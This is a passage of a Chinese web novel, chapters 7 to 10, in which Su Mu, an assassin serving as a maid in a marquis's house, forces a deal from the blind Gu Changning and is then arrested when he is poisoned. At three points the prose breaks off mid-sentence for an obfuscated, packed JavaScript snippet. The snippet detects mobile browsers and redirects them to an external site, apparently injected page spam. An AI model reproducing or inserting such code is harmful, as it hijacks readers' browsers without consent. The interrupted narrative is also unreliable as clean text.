披着那日顾长宁的大氅,苏木立于廊下,缓缓展开了那被揉拧的有些焉皱的信条。 “遣一人随你,亦可保你周全。若遇难事,速书一告。 信虽细雪卷上,手指洇上写凉意,瞧着雪下的大了,密密麻麻教人看不穿,犹如苏木眼底茫然。 遣一人? 7. 第7章 翌日一早,苏木便知,潇声所说的“一人”是指的谁了。 窗外又见雨雪,眼瞧着应是下了一整晚,窗前油纸窗被洇湿了许多,窗棂上堆满积雪冻冰。苏木便披上了昨日送来的冬袄。 一等婢女的襦袄还是和她之前多穿不同,此时,苏木身着松烟绿绫袄,里衬鹅黄软棉,外罩一袭暗纹银藤披风,看着要华贵许多,甚至衣角处还绣有细碎青梅。 乌发绾作双螺髻,以普通木钗稳妥束起,脚踏着薄绒绣靴,虽为婢女衣物,穿戴起来却规制齐整。 的确符合这侯府的气度,便是区区婢女,多穿也非凡物。 芜衣刚在院落扫完积雪,对着冻得通红的玉手哈着暖气,从外头进来时瞧见穿戴整齐的苏木,眼底流露出些不解:“姐姐为何身着一等婢女的衣物。” 想来一等衣物的确显眼,芜衣不过初入侯府没几天,竟是一眼能看出来。 她转过身轻扣住房门:“侯爷从未带过女子入侯府,我还以为,姐姐至少能做个府中贵人。” 听到这句话,苏木拧扣的手停顿在半空,她突然想起,昨日那些婢女们为难她,似乎也不知道自身刺客的身份。 想来,除了府中涉事的那几人,其他人一概不知自己的身份。 苏木低垂着眼眸,一贯的淡漠:“我没什么心思非得做什么贵人。” “或未然,今日我在此处,明日便不在了。” 她已经想好,今日前去顾长宁屋中,那便一定要与他谈些条件,总不能一直这样受制于人。 “姐姐这话可是什么意思,莫不是要离开侯府了。” 芜衣抖落着裙摆上的散雪,听到此话后忙抬头看着苏木,眼底似乎有些失落:“我瞧着姐姐如此亲近,却不曾想你这样突然来侯府,也便会突然的离开。” 苏木侧目看她,眼中无波,淡淡开口:“我瞧你良善,若是以后想护自己周全,便要学会些手段在身上。” “手段?”芜衣有些不解。 顷刻,苏木转瞬即至芜衣跟前,猛然在她身上点了几个穴道,芜衣察觉自己居然无法动弹。 苏木鬼魅般现于身前,唇间勾起一抹笑,眼带狡黠:“比如这样,若是有人欺负你,你就点她穴道,将院中冷水泼至她身,这样你便可以以牙还牙。” 芜衣动弹不得,虽然眼中依旧怯怯,却燃起几分期待:“苏木姐姐,你能教教我吗?” 苏木收回笑容,抬手解开穴位,踏步往外走去:“回来便教你,等着。” 未说去何处,这是苏木多年养成的习惯,她不喜束缚,也不愿自己做何事被人知晓,总觉拖累。 没了屋做顶,风雪有些压人,苏木瞧着这天,蹙眉将手中顾长宁的大氅披上,只留下一双眼睛在外。 上元已过半月有余,这瑞雪却迟迟不肯走,眼见着桃月将近,怕是蔺州绿树发了芽。 府中无人知晓自身身份,苏木还是打算低调行事,未飞檐走壁,而是踏着脚下素雪青石,任由脚下嘎吱作响。 绒靴虽暖和,但西苑离东面主屋的确有些远了,虽然时有长廊避雪,但苏木脚下难免沾了些融冰,生生浸入鞋袜,让人感觉脚下生冻。 正考虑着要不还是运这轻功而行,耳畔传来些声音。 “你们这些新入府的仆役,将这东面的积雪可清理仔细些,若是路面湿滑叫公子磕了碰了,那这侯府万万又再容不下你们。” 掌声嬷嬷声如洪钟,穿堂而过,苏木听的清楚。 偏头望去时,竟看到一熟悉面孔——正是祝余。 又来新人。 苏木蹙眉不解,买顾长宁这条命的人到底出了多大的价钱,竟让潇声一而再再二三地派人前来。 白薇不够,她不够,竟还派来了祝余。 站在假山后,瞧见人影已散,苏木见身旁穿过一小厮,立马拉住。 那小厮一见苏木穿着,立马沉头问:“姐姐有何事?” 苏木松开手:“侯府不是前几日就来了一批新人,怎么今日又来了一批。” 那小厮一听立马弯腰回话,语中带着些惊讶:“前几日?” “回姐姐,的确如此,只是……这批奴是摄政王特意送来的。” “摄政王?” 当今摄政王的名号,无人不知。 天佑元年,先皇驾崩,圣上作为嫡子幼年登基,太后以圣上年时尚小不便处理政务而垂帘听政,同年设先皇长子为摄政王监政。 说来天下无人不知,当今摄政王实乃太后所出,却因先皇曾有两后,孝雍先皇后在世时,当今太后以侧妃之位诞下摄政王,后常年养在孝雍先皇后宫中。先皇后过时前诞下当今圣上,太后虽为继后,但在血统上续弦却终不敌先前哪位。 如此已过九载,当今圣上虽早已及弱冠之年,可太后仍未放权。摄政王协圣上理政,兄弟亲深,似与太后两立。朝堂风云诡谲,太后之心昭然若揭,只是圣上兵权在握,宣德侯又为圣上拼杀在外,才勉强保住皇帝之位。 眼下,除了摄政王,宰相谢氏也在朝堂之上壮大,若是侯府没落,那更朝换代怕是迟早的事。 苏木久未居京城,但身居皇土之上,也多少听闻些朝堂中事。 宣德侯老来得此一子,如今已快入耳顺之年,却仍旧为皇帝厮杀在外,也难怪顾长宁整日瞧着未些笑颜,只是传言宣德侯曾授摄政王武学,两家交好,不知真假。 先前,她听说过宣德侯之子顾长宁,可谓是虎父无犬子。 三年前,他尚是意气风发的少年将军,策马踏漠,弓剑从不离身,十五岁曾一战斩敌首于三军之前,惊动朝野,自此封号加身,位列都督将军。 然伤眼之后,常人只道他寡言阴鸷,守于家中,却不知他是从尸山血海中走出的孤狼,凭着三年三境六战,战战打出名号,令敌闻名色变。 廊下风过,乌衣锦袍微卷,他立于廊下阶前,寒风凛冽,却不及顾长宁浑身散发的肃杀气息,仿佛这股冷冽也皆随他而动。 想着这些年所听之事,苏木已及东屋之下。 脚下没留神,一叶枯枝被苏木踏的嘎吱作响,出了声,苏木一抬头双眸便撞上了那双阴鸷无神的双眼。 “听这风声,雪下的倒是比前几日要大许多。” 顾长宁脸颊偶有飞雪落下,苏木瞧着觉冷,想着身上所披还是那日顾长宁的大氅,于是掀开后扔入他拄着手杖的弯臂之上。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189720|181081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的氅。” 顾长宁被突如其来的重量压的手臂微沉,右手及时接过,转身朝里屋走去:“前几日,凌风去调查了你所说的饺子馆。” 苏木跟在身后的脚步未做停顿,她并不怕也并不担心他能查出些什么。 “你所说的饺子馆,乃是一伙贼人住处,那老翁喜拐幼岁孩童,经训练后或为刺客或窃贼,以人命为要挟,帮他赚取银财。” “不过,凌风到馆中时,那老翁已死,其余孩童皆已遣散,你说为何如此之巧?” “死了好。” 苏木语带不屑,却已然猜出是祝余来上上京途中所杀:“或是他良心发现,或是死于非命,不管如何,他做的孽够他死上百次。” 她记得,祝余说过此前她在那老翁手下做事时,从小便是非人的惩罚折磨,好在她生性机灵逃脱。 苏木曾问祝余,为何不让自己帮他杀了老翁,可祝余却只拼命练舞,眼带决绝:“一定要手刃仇人。” 也对,若是自己寻到当初灭全门之凶,她也必定不假手于人,定要将他千刀万剐。 “那此行,你手下无非白跑一趟,无所收获?” 苏木见顾长宁亲车熟路的找到位置坐下,试探地问。 案前之人轻笑出了声:“非也,或是凶手走的太急,留下了一出破绽。” 苏木四下寻找能入座之处,刚悬腿而做,后背突然崩紧:“什么?” 若是祝余杀了这老翁,她可不希望被眼前人所查到。 “你瞧这物件,你可认得?” 定眼一瞧,顾长宁手中所握正是她再熟悉不过的白瓷瓶,若是瓷瓶底部花纹被瞧见,闳离阁的标志便一览无余了。 苏木忽而神色凝重,她知晓顾长宁看不见,于是故作平静:“不过是普通瓷瓶,瞧着应是装药的,何以见得有何不同?” 瞧着顾长宁转动着白瓷瓶,苏木的心吊到了嗓子眼,终于,瞧见底部却如周身一般无二才让苏木放下了心。 苏木淡淡开口:“这老翁平常就有收集各类毒药的习惯,我劝顾公子少拿手上把玩,如今见血封喉的药可不少。” 语罢,只听‘哐啷’一声,瓷器应声而碎,碎片四散,叮叮当当滚了一地。 顾长宁神色自若,声音沉沉:“此事本侯必不会善罢甘休,那人派了不只你一个杀手前来,想必这几日必会有所动作。” 见屋中寂静,无人应声,顾长宁再次开口,声音轻缓了不少:“苏木,本侯帮了你。” 听到此话,苏木一时竟笑出了声,语带嘲讽:“哦?你帮我什么了?” “你如今可卸下刺客身份,就算离了侯府,也不必再受那老翁挟持。” “人又不是你侯府所杀,我难不成也要谢你?” 苏木只觉好笑,一是笑顾长宁颠倒是非不知,自己出了侯府才不会被人挟持,二是笑眼前人竟如此狂妄。 “可若不是本侯,你现在早已成为侯府牢下之魂了,不是吗?” 顾长宁右指搭在左手之上,戏弄着手上扳指,面中流出些阴鸷的笑意。 “如今,你离不受人挟持,入不为侯府阶下囚。” “苏木,我待你可谓是极好了。” 8. 第8章 “那我是不是还要谢谢你?” 苏木嗤之以鼻的笑:“顾长宁,我身上的伤还没好呢。” 苏木的意思显而易见,如今身上的伤,体内的蛊皆是拜眼前人所赐。 顾长宁仰坐案前缄默不语,只见他轻车熟路地铺开一张宣纸,手顺着白玉笔筒轻拿狼豪,砚台里还散发着墨香,苏木见他蘸墨,洋洋洒洒地不知道在写些什么。 须臾,他举起案上宣纸,面无表情道:“苏木,既然你选择做我的利刃,眼下有这几件事需要你做,首先……” 话还未说完,见他递过宣纸,苏木上前随手扯入手中,笔力苍劲有力,气势如虹,倒是字如其人。 只是两字‘安分’跃然纸上。苏木瞧见顿时面色铁青,攥着宣纸的指节有些泛白,整个人仿佛在极力压制情绪。 她低沉着嗓子:“安分?” “你是怕我杀了你?” 顾长宁垂眸,有些不可置否:“不可运功,你可以用其他法子,例如下毒或者是其他手段。” “我劝你安分,也是在劝你小心着自己命。” 苏木怒极反笑,眼底闪过一丝锋芒:“顾公子,你大可把心放肚子里。” “我没空同你在此处掰扯,若无其他事我便走了。” 苏木语罢气的正要转身,立于门前时,后面传来窸窣之声,苏木正欲抬脚,顾长宁却说:“你先等等,要事还未与你说。” 顾长宁先一步上前将门紧扣,此时二人距离不过咫尺,苏木见状往后退了半步。 苏木有些不悦,耐着性子问:“何事?” “玉春楼月华,你帮我找到她,活着带回侯府。” “为何?” 见顾长宁欲言又止,苏木问出这句后又觉反常,往常她要杀之人皆是她自己调查了那人所做恶事,很少会被人指派,还要问为何。 她觉顾长宁必不会和他说,有些悻悻,但结果也正如她所料,顾长宁凝思片刻后道:“多余的事,你不必多问。” “若你此后都是这般,可能将事情安心交予我,就不怕我唱反调,给你带回来一具死尸?” 苏木气势不饶人,硬是要一句句顶回去。 顾长宁淡言:“若你人带到了,我便告知你。” 苏木瞧着他,倒也不是非得要知道什么个前因后果,只是现下自己像提线木偶一般被人操控,指挥去何处便要去何处,她有些不高兴。 她抬眸,举起右手在顾长宁眼前晃来晃,见他眸中涣散,悄然从腰后抽出一把食指长的尖刀。 毫不犹豫,苏木往左手食指上割了一条血口,有了心理准备,苏木倒是没什么反应,眼前这人却不一样。 只见顾长宁握着手杖的手刹那松动,紫檀木手杖滑落在地,发出沉闷响声,他手握着自己左手食指,面色铁青,怒意从喉间迸发:“你做什么!” 苏木得逞一笑,有些狡黠开口:“我猜对了。” 语罢,苏木的手腕突然被桎梏,她想要挣脱,但眼前人也是从小习武的练家子,自然没有半分松懈。 苏木眼神如刀,听着顾长宁一字一顿:“苏木,你就不能老实点吗?” 苏木知道顾长宁能猜到自己在做什么,既然蛊虫子母相连,同声同死,她不能运功,但若是身上遭了痛楚,另一人想必也会有同处感受。 她只是想试验一下,究竟是不是如她所想,若是成功,她也好好为她接下来的说辞找寻完美的突破口。 苏木反手扣住顾长宁桎梏着自己的手,用力拧开后往后退了好几步,一把匕首已经放置自身脖前。 见顾长宁顺势要上前,苏木又往后退了半步,掷地有声地开口:“别过来。” “你想做什么?” 顾长宁看不见,只好侧耳,想要听出些动静来,但又似什么都听不到,蹙眉怒言。 “顾长宁,你让我帮你无非是你的得力助手现下被你派去了其他任务,你并非时时刻刻都需要我,若不如你答应我,我帮你完成两件事,你便逼出蛊毒放我出侯府。” “你在要挟我?” 顾长宁反问,他咬紧牙关,面色冷若冰霜。 苏木一字一句说的清楚:“我从来不是笼中鸟,也不愿听命行事。” “你最好答应我。” 苏木再往左手食指处刚划伤一寸处划上一刀,顾长宁再握左手,脸上已是不可遏制之怒意。 “下一秒,我这刀可就不只是在手上划拉,若你想死,我也可以成全你。” 苏木运刀之迅速,顾长宁有些顾虑欲言又止,终还是忍着怒意,带着半分迟疑:“苏木,你最好冷静一点。” “冷静,我都要成为他人之刃了还要冷静?” “我苏木虽为刺客,却从不杀无辜之人,如今落入你的手中,你让我往西我便往西,若你为奸佞我岂能放心。” “若不如一起死了,那才好。” 苏木语带不容置疑的决绝,似乎下一秒便可以送自己去黄泉。 苏木刀架脖上,步步威逼,顾长宁往后退了半步,苏木勾唇:“顾长宁,比起我,你更怕死。”她顿了顿继而又说:“宣德侯如今疆场拼杀,若他回京发现他儿尸骨,一时之间气昏了头,怕是这整个鄢国也该大厦将倾了。” 话及此,苏木便知此事已经妥当,但她仍不敢松懈,退至身后梁柱,紧盯着顾长宁。 顾长宁也未料到眼前人能将如今朝堂局势看的如此明了,震惊之余也只能妥协。 他嗓音低哑,仿佛已不愿再争,终于服软:“好,我答应你。” 她松懈下来,匕首却仍握刀中,顾长宁上前,伸出手。 苏木不解,顾长宁也感受到掌中无物,这才平平开口:“刀给我。” 见他答应,苏木也无顾忌,讲匕首放至手中。 顾长宁接过匕首,再次往书案跟前走去。 匕首被他放至案前,他转身对着苏木,语带叹息:“一个姑娘,为何总是喊打喊杀。” 苏木不语,顾长宁便道:“我顾长宁说话算话,两件事,若你做的妥当,我立马将你送出侯府,毫发无伤。” “可。” 苏木也爽快,眼看计谋得逞,嘴角微微有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189721|181081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑意,却未表现出来。 但顾长宁似乎察觉到一般:“先别高兴的太早,第一件事,你便是要把玉春楼月华带回侯府。” 他顿首,给出期限:“限你五日。”他停顿一刹,带着疑问:“如何?” 苏木答应的爽快:“没问题。”答应后,苏木有些迟疑了继而补充道:“若那月华姑娘不是什么有失之人,我会再把她放走。” 顾长宁入座书案前,未做拒绝,顺着她而言:“等她到了侯府,我自会告诉你为何要找他。” “我顾长宁,不是随便定人生死之人。” 听到满意的回答,苏木不再多言转身便走,脚步声不疾不徐,彻底将他隔绝在身后。 衣摆一晃,带起门帘微响,不过一会儿,门前再无动静。 顾长宁坐在案前,手握左指痛处,眉头拧起。 苏木一掀门帘,院中寒风扑面而来,吹得她衣袂乱飞。 她刚踏出廊下一步,便听得有人唤她,声音故意压的有些低:“苏木姐姐?” 她身形微顿,抬眸望去,只见祝余立于石阶之下,身着三等婢女蓝绒短袄,鬓边染着薄雪,一双眼定定看着她,眼中带着惊喜。 和祝余并排走入廊中,见四下无人,苏木和祝余小声交谈才得知,祝余于七日前动身从蔺州前来,在路上的确因杀老翁耽搁了许久。 祝余担心苏木眼下情况,不住的问话,拐弯处遇到了教导嬷嬷,生生将祝余又叫去扫积雪去了。 一人廊下漫步着,忽而一小厮上前来,低头道:“姐姐,公子让小的带你去东边的厢房,此后姐姐不必再去西边别苑了。” 想是昨日顾长宁却是说过要她长留东苑,跟着小厮苏木也便去往了新的住处。 新住处景致倒不是说比西苑好在哪里,只是这屋子在东面朝向好,积雪也不似西苑多,瞧着屋内陈设极简,一张木榻,一案一椅,墙角堆着折叠整齐的薄被。 窗牖敞开,一些日光洒入,映得室内明净非常。青砖地面扫得一尘不染,窗下一盆文竹也枝叶舒展,带着几分清气。 小厮带到住处后便离开了,苏木瞧着屋中陈设摆放虽不是自己所喜,但想着不久便会离开,自然也不想再去挪动。 晌午,已至饭时,之前苏木都要自己前往西苑膳房用食,如今倒也有人送来屋中了。 不过都是婢女,区区三等,差别竟然如此之大。 小厮将饭菜带到未多做停留便离去了,苏木屋中顿时香气弥漫,几道菜肴依次摆上小几,皆是常见家常之物,却不失精致。 用过饭,想着闲来无事,祝余打算出府去找找那名叫月华姑娘的人。 晌午的上京城,街上人声鼎沸,车马如织。小贩的吆喝声此起彼伏,孩童追逐打闹,沿街茶肆酒楼香气四溢,引得过客驻足。 苏木先了玉春楼,但却听说是楼下酒客说是月华姑娘已病了许久也未见得好,外客一律不接,查询无果,瞧着楼阁四处有人把守,光天化日苏木也不好硬闯,只得等晚上再来。 正大街上闲逛,身后小巷忽而传来一求救之声。 9. 第9章 午时的上京城,日头正烈,官道上的积雪大多被街道边上的小贩打扫干净,积雪初融,泛着些冷意。 街道两旁茶肆酒楼招牌林立,招揽了不少客人,来往行人络绎不绝,挑担的商贩低声吆喝,街角卖糖人的老人吹出一串串薄如蝉翼的糖花,孩童围在摊前叽叽喳喳地嚷闹。 远处寺庙钟声悠悠传来,混着酒楼里飘出的肉香,整个长街喧嚣鼎沸。 却在此时,身后忽然传来一声凄厉的女子呼救,声音尖锐,几乎盖过街市的喧嚣。 “救命……救命啊!” 苏木正手拿一串糖葫芦,嘴边正衔着一颗红润饱满的山楂葫芦,脚步一顿,不悦地回首看去。 只见人群之中,两名衣着黯色麻布的男子正凶神恶煞地将一名女子按倒在地,那女子穿着褐色粗布麻衣,脸上满是落灰,遥遥望过去,手上竟还有许多淤青。 女子面色煞白,手中攥着一只破旧的钱囊,指节泛白,显然不肯放开。 苏木一瞧,便知是流氓小偷横行,她最是看不得这些个地痞流氓,瞧着周遭百姓围做一圈,留着些缺口,却无上上前阻止,尽数避开,唯恐惹祸上身。 苏木眸色微沉,抬脚走了过去,步履沉稳,落脚于两名大汉前方。 她还未开口,那二人抬眼瞧见苏木,冷哼一声:“少管闲事!小心把你办了!” 苏木脸上露出些不屑,她垂眸斜眼瞧着手中糖葫芦,脸上露出些狠辣,刹那间,那糖葫芦猛的飞入其中一名男子脸上,瞧见那糖葫芦粉声落地时,男子面上多出一道红印,可见这一签打的不轻。 苏木蔑笑,语气淡淡,想是在挑衅一般:“想办我?来。” 话音刚落,那流氓似乎已经气极,还未招呼另一人看好女人,自己便猛的起身,想要一拳招呼到苏木脸上。 几乎在同时,苏木便看穿了他的动作,抬肘撞向他下颌,动作狠辣利落,那人似是被迫咬着了自己的舌头,顿时脸上涨红,整个人仰面倒在地上,鲜血顺口中汩汩而流。 另一人瞧见形势不对,立刻反应过来,抽起腰间短刀便要劈向苏木肩颈,她左手一抬,手腕抵住刀刃方向,身体微转卸去对方力道,右手短匕趁机从袖中滑出,刀锋寒光闪烁,直刺他持刀的手腕。 “啊——!”那人吃痛,刀哐当落地。 苏木上前一步,踢腿往他膝盖一绊,那人狠狠倒地,苏木刀刃抵在他脖颈,俯身时声音低冷:“怎么样?还要办我吗?” 地下之人浑身颤着不听,只敢捂着自己的手腕,大气都不敢喘。 周围看客喧嚣声都减弱了不少,皆屏住呼吸,生怕殃及自身。 苏木收刀入鞘,站直了身,眼神冰冷如霜雪:“滚。” 两人捂着伤口连滚带爬地逃入人群,街巷喧嚣声重新涌入耳中,像什么都未曾发生过。 苏木垂眸,瞧见那女子微弱伏在地上,双手却死死攥着钱囊,眼中含着泪水欲落不落。她冷声安慰:“没事了。” 女子怔怔看她,唇瓣颤动,声音还发着抖的说了声谢谢。 苏木不再理会,转身离开,衣摆轻扫过石砖,步伐干脆利落。 遇了糟心事,她心下有些烦躁,瞧见左侧酒楼,竟是一丝犹豫也无便抬脚往里去了。 苏木离开时找扬风要了银子,此时她身着一袭浅色素衣,衣料虽不见华贵锦缎,却质地细腻,衣纹间隐隐映出柔光。 苏木带着刚刚一直拿在手中的帷帽,现下又戴上了,门口店小二瞧着以为来了哪家闺女,笑意盈盈地上前,谄媚开口:“姑娘想吃点喝点什么?” “随便给我来一壶酒。” 苏木也未问清有哪些酒,但也懒得细听细看,语罢便找着靠窗位置席座而坐。 一盏茶的功夫,店小二便将酒端了上来,苏木正饮了一杯,抬眸往窗边看去时,却发现一女子行为鬼祟。 她晌午那会儿也打听过,听闻月华姑娘身形娇媚,额前有着与人不同的花钿,眉眼如画,柔媚中能带着些许娇俏,举手投足皆勾人心魄。 此刻外面之人身着也比常人素衣华丽,虽瞧着神色紧张,但眉间柔意不减,光从描述上看,倒像是那位月华姑娘。 可她不是在养病,朱雀街离着城北将近十里,她为何会出现在相反的方向? 瞧着生疑,虽不确定,苏木却打算跟着她一探究竟。 起身离开时,苏木被以为是食赖,立马将她拉住,瞧着眼前人越走越远,苏木一着急直接扔下一锭足足够她喝上十壶好酒的银子,头也不回的走了。 苏木走的极快,但有怕被人发觉,只好先静观其变,希望能看出点不寻常之处再将她抓住,只是那女子七绕八弯,苏木倒是有些吃力了。 到一深巷处女子忽而拐弯,苏木急着往前跑了半步,竟叫人不见了踪影。 瞧着两边为别家住所,倒是可以沿梁而走,苏木一跃而上,沿着屋檐尖角四下查找,竟还是未发现踪迹。 正觉奇怪时,苏木再次听到些呼救之声。 “女侠,女侠再救救我!” 那女声凄厉急切,却嗓音开阔,苏木被吸引了视线,顺着飞了过去。 不过深巷百米路径,原是刚刚所救之女,此刻又被欺辱身下,叫声凄厉,苏木瞧着怒意更甚,暗骂畜生。 一跃而下,恰恰落入人群之中,此刻女子其后已不再是两人,而是五六人组成一队。 可在苏木眼里,眼前这些人再多,也不过是弹指间便可玩弄于鼓掌的废物。 她潋起双眸,面色如霜,挑着其中一人飞去,帷帽纱帘被风吹开时,她一脚竟将人踢出六尺开外,那人横飞过去时还将身后乌合一并撞飞。 这次,苏木已经懒得和他们周旋,也懒得用刀了。 她懒懒开口,声音却如利刃:“若再让我瞧见,定叫你们人头落地。” 那群人眼瞧遇见了硬茬,踉踉跄跄便跑开,如同过街老鼠一般,不敢再往回瞧。 苏木冷眼瞧着地下女子,刚刚还是素衣庇体,此刻已破烂不堪,手中银袋子也不知去了何处。 她扯下自己身上的披风扔在女子身上,未开口便要离开,才走出数步,几声弱弱的脚步声追了上来,带着哭腔的呼喊在她背后响起: “姑娘,等等我……求你……” 苏木从不愿麻烦缠身,听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189722|181081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到此话时也未做停顿,只一味往前走,但身后的声音却依旧不停。 “姑娘,我求求你了,他们还会再来的,你救了我两次,可否让我跟着你,我必结草衔环,为你肝脑涂地。” 一声声磕头的震地之声响起,苏木算是心肠硬也无法再往前走一步。 救人一命,若是再叫人落入地狱,那才叫真正的绝望。 她自己不是没体会过。 一次次的从奴场逃离,又一次次地被抓回。 苏木转了身,瞧见女子跪在地上,衣衫褴褛,唯一蔽体的怕是只有那件还算完善的披风,若是眼下她离开,这女子今日就算流氓手中逃脱,夜半也将在这寒冬中丧命。 她终是心软,无奈道:“你先起来。” 像是听到了不同刚才冷淡的语气,女子眼底浮上些喜悦,连忙起身,连带着往前走了几步。 “不是我不帮你,只是…”苏木回想自己现在都是被人要挟入府,若再领回一人,也未必对眼前人好,可见眼前人如此模样,苏木终心下不忍,先行告诫:“我那住处规矩甚多,我也仅仅是府中一名婢女而已,你若跟着我可处处受人掣肘,低眉顺眼,必要时或许要以命相搏,你可愿意?” “愿意!” 女子未有半分犹豫,眼底闪出些光芒:“我这条命本身就是姑娘捡回来的,就算是送给姑娘,那也是无碍的。” 瞧见她如此决绝,苏木安慰着她,唇边露出些笑容:“那你便跟着我吧。” 苏木走在跟前,侧身问她:“你叫什么名字?” “影儿。”女子低着头,回答的很快。 苏木点头示意自己知晓了他的名字,便开口:“你叫我苏木便可。” “苏木姐姐。” - 二人并行,及至斜阳余晖洒落侯府尖檐时才入了府。 侯府门口小厮瞧是苏木,神色有些凝重,虽见其后带了一名不识之人也未多问,苏木瞧着以为是顾长宁下的命令,也便直接踏脚进了去。 一路上未见小厮婢女,苏木见着有些古怪,但以为是顾长宁召去了也未多想。 及至东面厢房,苏木将影儿安置于厢房,告诉她不要出来,她要先去管家那说一身讲影儿作为新婢女,怕是府中不识之人将她以为贼人抓起来,那可就麻烦了。 安置好一切,苏木往管家所居之处走去。 再次回折,庭院中仍旧无人,就连祝余以及芜衣她也没瞧见,心下古怪,苏木听到耳边传来沉重的一阵脚步声。 声音越逼越近,抬眼,扬风正立于跟前,在苏木的周围,不知何时已围上了一阵府兵,瞧见形势不对劲,苏木习惯性往屋檐看去,竟也全是安慰。 苏木不明所以,但毫不怯懦,眉梢轻挑,不紧不慢一字一顿作问:“扬风大人,你这是作何?” 可扬风却并未回话,面色阴沉下令:“抓住她:” 苏木做防备状,心下暗骂,不知今日是撞了邪,怎么动不动就要拔刀,她同样蹙眉不悦:“扬风大人,您抓我,顾长宁可知道?” “你贼心不死毒杀侯爷,还敢直呼侯爷。” “给我拿下!” 10. 第10章 毒杀顾长宁? 苏木一时竟以为自己听错了,她有些不明所以,却见周围府兵的架势,又有些确信了扬风的话,正欲开口,苏木胸口传来一阵剧痛。 她双手紧抓住自己的心口,额前冒出许多冷汗,眼瞧着有些承受不住,苏木单膝跪地,弓着腰,试图能缓解这种疼痛。 苏木曾学过一些医术,至少是会给人把脉的,她抻开右手的大袖,将四肢放入自己的左手手腕。 脉息沉涩滞缓,指下如按枯木之根,血气运转之间似有阻滞。 她听闻过苗家母子蛊毒,一人受伤,另一人虽痛觉减半,但也如同身受。 现下她如此难受,可见顾长宁的毒来的凶猛。 但是就算如此,她也不能吃哑巴亏,被人认定是自己下的毒。 苏木抬眸,眼带倔强,满脸质问:“今日,我一直为你们侯爷之事奔波,现在顾长宁出了事又要算到我的头上?” 尽管忍受着锥心之疼,苏木也要强迫着自己站起来,不再他人面前显附小之姿。 “苏木,今日东苑所有人都指认,除了你,侯爷的主屋再无他人去过。” “今日我是否给他顾长宁下过毒,你一问他便知,直接来抓我是什么意思?你们侯府与人合作的态度就是不管出了何事,直接将罪名泼到他人身上吗?” 苏木甚觉好笑,一字一句追问:“你可亲眼瞧过就是我下的毒?” 这一问,扬风有些垭口,他今日刚从城外奔波而回,仿佛府邸便听闻顾长宁中了毒,心下慌乱之时排查了府中所有人员,众人皆一致回答苏木今日晨时进过主屋。 顾长宁的主屋从来下令严禁下人踏入,府中一等婢女也就区区不过五六人,那一等婢女衣物颜色也是格外引人注目,因此必不会瞧错。 扬风以为苏木还在狡辩,顿时没了耐心,厉声下令道:“给我拿下!” 苏木见说理不通,也便不愿多废口舌,抽出暗藏于腰间的短刀,目光如鹰一般瞧着周围府兵。 苏木身形一闪,已然欺身上前,素色衣袍翻飞如斜阳下的飞燕。周围府兵虽皆手持长刀,但在苏木眼中却无甚威胁,转腕间便卸了最先攻来的两人,她横踢一腿,两人手中刀刃落地,那二人还未反应之时,只见她反手一挥,刀背扫过,带起一声闷哼,二人应声倒地。 瞧着眼前人功法如此轻快,其他人似有几分犹豫,但还是眼带恶狠往前冲着。 苏木轻脚飞身而起,步伐疾若流云,脚踩亭中水榭木台,几次转身躲过后方袭来的刀刃,瞧见有人近身,反肘击在来人胸口,叫人刹那落入庭中荷池。 周围人见状心生惧意。苏木招式凌厉,出手如风,短短一盏茶的功夫,数名府兵已倒在地上,哀嚎遍野,场面多少有些难看。 将近身之人踢出二尺后,许是过于用力,苏木感受到心口传来一阵剜入骨髓之痛,正松懈捂胸之时,尚未来得及多余的喘息之机,眼前忽地闪过一道黑影。 扬风自屋顶猛然飞下,身材高大,长刀沉稳在她肩旁咫尺划过,苏木耳畔似乎还能听到刀刃划破长空之声。 不愧是顾长宁的贴身侍从,这凌厉的剑气,确非常人府兵所及。 苏木举刀格挡,却因现下身体虚弱,已经勉强有些吃力,剧痛袭来,她动作稍有迟滞。 可扬风却没有半分犹豫,刀势如箭压的人喘不过气,逼得她连连后退,步伐也略显凌乱。 苏木咬紧牙关,唇色有些泛白,冷汗自额间滑落,目光却依旧带着狠辣不惧之意,眸中燃着叫人看着寒气四溢的冷光。 刀光交错间,金属交击声震耳欲聋,苏木无力出击,只得不断防御,让自己不至于落入险地,但每次运功阻挡,都会耗费大量的心力,已然有些支撑不住。 终是在一次硬碰硬的对招中,她脚下一软而身形微滞,刀刃擦过她的臂膀时带出一抹鲜血。 “苏木,你逃不掉。” 苏木轻笑,面色带着些蔑视,确实懒得开口,手捂住伤口处,但鲜血不止,从指缝中流出些许。 耗尽所有气力,苏木心有不甘,却已沉沉倒了下去。 - 